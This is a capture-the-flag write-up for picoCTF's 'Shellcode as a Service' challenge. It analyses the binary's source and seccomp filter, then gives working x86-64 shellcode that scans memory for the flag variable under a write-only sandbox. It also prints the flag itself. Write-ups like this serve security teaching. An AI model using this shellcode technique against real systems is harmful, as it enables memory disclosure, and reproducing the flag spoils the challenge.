SaaS
4 minutes to read
We are given a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Static code analysis
We also have the original C source code (chall.c
):
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define SIZE 0x100
// http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=xor+rax%2C+rax%0D%0Amov+rdi%2C+rsp%0D%0Aand+rdi%2C+0xfffffffffffff000%0D%0Asub+rdi%2C+0x2000%0D%0Amov+rcx%2C+0x600%0D%0Arep+stosq%0D%0Axor+rbx%2C+rbx%0D%0Axor+rcx%2C+rcx%0D%0Axor+rdx%2C+rdx%0D%0Axor+rsp%2C+rsp%0D%0Axor+rbp%2C+rbp%0D%0Axor+rsi%2C+rsi%0D%0Axor+rdi%2C+rdi%0D%0Axor+r8%2C+r8%0D%0Axor+r9%2C+r9%0D%0Axor+r10%2C+r10%0D%0Axor+r11%2C+r11%0D%0Axor+r12%2C+r12%0D%0Axor+r13%2C+r13%0D%0Axor+r14%2C+r14%0D%0Axor+r15%2C+r15%0D%0A&arch=x86-64&as_format=inline#assembly
#define HEADER "\x48\x31\xc0\x48\x89\xe7\x48\x81\xe7\x00\xf0\xff\xff\x48\x81\xef\x00\x20\x00\x00\x48\xc7\xc1\x00\x06\x00\x00\xf3\x48\xab\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xe4\x48\x31\xed\x48\x31\xf6\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"
#define FLAG_SIZE 64
char flag[FLAG_SIZE];
void load_flag() {
int fd;
if ((fd = open("flag.txt", O_RDONLY)) == -1)
error(EXIT_FAILURE, errno, "open flag");
if (read(fd, flag, FLAG_SIZE) == -1)
error(EXIT_FAILURE, errno, "read flag");
if (close(fd) == -1)
error(EXIT_FAILURE, errno, "close flag");
}
void setup() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
if (ctx != NULL) {
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_EQ, STDOUT_FILENO));
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
}
seccomp_release(ctx);
if (ctx == NULL || ret)
error(EXIT_FAILURE, 0, "seccomp");
}
int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
load_flag();
puts("Welcome to Shellcode as a Service!");
void* addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
memcpy(addr, HEADER, sizeof(HEADER));
read(0, addr + sizeof(HEADER) - 1, SIZE);
setup();
goto *addr;
}
We see that the main
function loads the flag in a global variable called flag
using function load_flag
, then it prepares a memory region to let us enter low-level instructions that will be executed. However, before running our code, the program adds seccomp
rules in setup
.
Analyzing seccomp
rules
Using seccomp-tools
we can find which syscall
instructions we are allowed to use:
$ seccomp-tools dump ./chall
Welcome to Shellcode as a Service!
asdf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x0000003c if (A == exit) goto 0012
0006: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0012
0007: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0009: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0013
0010: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0011: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
Alright, so sys_exit
, sys_exit_group
and sys_write
. In order to get the flag, the idea here is to iterate through all posible addresses and write their contents to stdout
until we find the flag.
Since PIE is enabled, we will need to perform a brute force attack on the variable flag
address. We know that the last three hexadecimal digits won’t change (060
):
$ readelf -s chall | grep flag
74: 0000000000000bd0 141 FUNC GLOBAL DEFAULT 14 load_flag
75: 0000000000202060 64 OBJECT GLOBAL DEFAULT 24 flag
Final exploit
So, this is the assembly code we are going to send:
mov rsi, 0x550000002060 # Start searching from address
mov rdi, 1 # stdout
mov rdx, 100 # Length
write:
mov rax, 1 # $rax = 1 => sys_write
syscall
cmp rax, 0 # Error code
je exit
add rsi, 0x100000 # Increase address
jmp write
exit:
xor rax, rax
or rax, 0x3c # $rax = 0x3c => sys_exit
xor rdi, rdi # $rdi = 0 => Error code
syscall
From experience, I know that PIE binary addresses start with 0x55
or 0x56
. We can view it in GDB:
$ gdb -q chall
Reading symbols from chall...
(No debugging symbols found in chall)
gef➤ aslr on
[+] Enabling ASLR
gef➤ start
[+] Breaking at '0xa00'
gef➤ p &flag
$1 = (<data variable, no debug info> *) 0x561692002060 <flag>
gef➤ run
Starting program: ./chall
Welcome to Shellcode as a Service!
^C
Program received signal SIGINT, Interrupt.
0x00007f68d9afffd2 in __GI___libc_read (fd=0x0, buf=0x7f68d9c4c04b, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p &flag
$2 = (<data variable, no debug info> *) 0x559b14002060 <flag>
Since we are looking for the flag
variable, I will set 0x550000002060
as the starting address and increase in steps of 0x100000
.
Flag
The exploit won’t be always successful because the server has a time-out set. But there will be a time when we will see the flag:
$ python3 solve.py mars.picoctf.net 31021
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
The full exploit can be found in here: solve.py
.